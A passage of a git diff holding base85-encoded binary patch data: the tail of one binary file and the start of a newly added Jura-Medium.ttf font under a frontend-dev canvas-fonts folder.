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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Jura-Medium.ttf b/skills/frontend-dev/canvas-fonts/Jura-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..4bf91a33951b960e4d579eb2e57cce624e4aec0a GIT binary patch literal 154488 zcmdpf2b@&3_J7KqnPq89hpn><EKA>BK+3kE7wJu48@mhJ+(MHMf*>GGK$<jZ(nJNM zS4C7rKtP(vS`ZO?L)ra*lbd^ID3<s8zxV!S=5vyh<mBWeImyjExi^<kLWl<(jgU48 ziH_k3MXLy5bqJy1ZMt^p-gx7oa6<YICM4dsP4}L09{pqI5mL#6kTQ3>bZ;6uf5xik zL3<2b26yif+hf$cp%W1XJ!z1Vos{?Gy@N@Fc$Fi>y<d7#K_23fmsW-EmYy|g$noo| zz9MAB1VZ=ynvs^2>iyi-<w&22^vDcER2XZEMffp<>ttjXjy!Q__H;t(W<ZAMtlX5O zGoh(B!73H7DLZLoo|Z=4LGKNEdrnez+Kgi-h7!X25Mpu9%PlAzJ9|9Bkt@OOP+opo zUWRq%)1ZfZ#I~E3KD}L=g&?7&rKBQ!qV*tChz(#7A(x*fsE}z!Nk`Pp_g<sBv&$TN zfQD#oC6$|uuPR+{!bYTL6iQ}Hr>C6$C^?Hri&yQA!|${hRPnK&2)CUU@gH?~eXH=V zM$e16*Qlg(nPYCF5wsE}V)4_oh2UU8=BnCugcs^Q+eboKeMzC5>x7lICiV^p+C@LK z>C&YQIYdb5J-r@oOX&$ap)U$@zC`<8(s4-1NCgpx-?zZ)B4!rgIWh<CJn|yk)#NnX zGvp_@ztAK?X$sAQn@?B5T}@ZRT}xjgjIO8a;clW^2xV1SHMljI4_rTnqFDe7fLjL| zNLe7O2e&@zKv_c;4mXl5gu8?-fxC<?gS&#Ebhes-KU>Sz!d=JK!QH?%z}>_)!QINk z2<7WI;`vs-74B>Nb-2a6817BYM!4pw)rH$e>qbO<IcgdTs1EQznDSpyZ;jvNzo5A- z$l;*{Xmv;xnWH)=Z2UKVm;cWH;3d2iyrA^7z2K#l0lttoP&g&kc~ym@Rk>B+oHSyW z6t20@ScoS(q~filI_jhIbR*tuw!+JhAuLGYWl1x7N8#mM@bc77PO10`B%CZ!xCe1V z59&NCk#c0J!fQF>p_b*yXg!`%;!g4u?jk?s&b(AZn+;Yp7Vzn#a4V@w5)^JDHAy3d zyE*Gc%MedeS;e~pBcwekBKahVG$wH*mt>JtmzeG(jbxL|N2GK^N;-08A!oizj*g&C zCmE#B%<~`*Cq-}YFsM5LPerH*<rxwQE`?}~W~3?p1tbL}Wg=V%ya^x^r8j}h`6#g| z=|UW&Bk6&%Gm&OTD3|1b)=s(u8v<;Elr;@8Iz<-z6qK6-dQrL^rRTs;14ldPGk}TQ z?ZDR#{&|wtm9waelS3m=^^&=TY@&2K34w$H>@JesU#=ld5*ZHpM4ggIGF(yi2!w?k zcEpKtW69$ZFGQQzWh?)y?Q?&djz9?`AYCf>=b)@KlsgoXXUH}YHE04zLZ75Tvz#<` z^pPu-sClfEc_b(^5$YwWN5L%sw@h#mG@XFulVQlKx0GlJp<nrk84f??FH14>qA~b5 zwdKJUkB}`MOd^RBYfjpr|GL0!Zfe*4Tpq2@LSko0@sKi)jDoa=*4i<P1*3msP#>Xr zqR$K|?WC)$*HFZ!NIi^&eu>@`8Y?t32)M4{1xm-$!C6ogK?9l~S1wwoDcl15a}ier 